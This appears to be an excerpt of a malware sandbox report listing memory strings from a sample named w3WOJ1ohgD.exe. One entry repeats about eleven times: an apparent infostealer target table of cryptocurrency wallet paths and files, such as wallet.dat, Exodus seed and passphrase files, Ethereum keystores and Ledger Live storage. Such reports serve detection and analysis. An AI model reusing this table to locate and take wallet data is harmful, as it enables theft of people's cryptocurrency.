Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
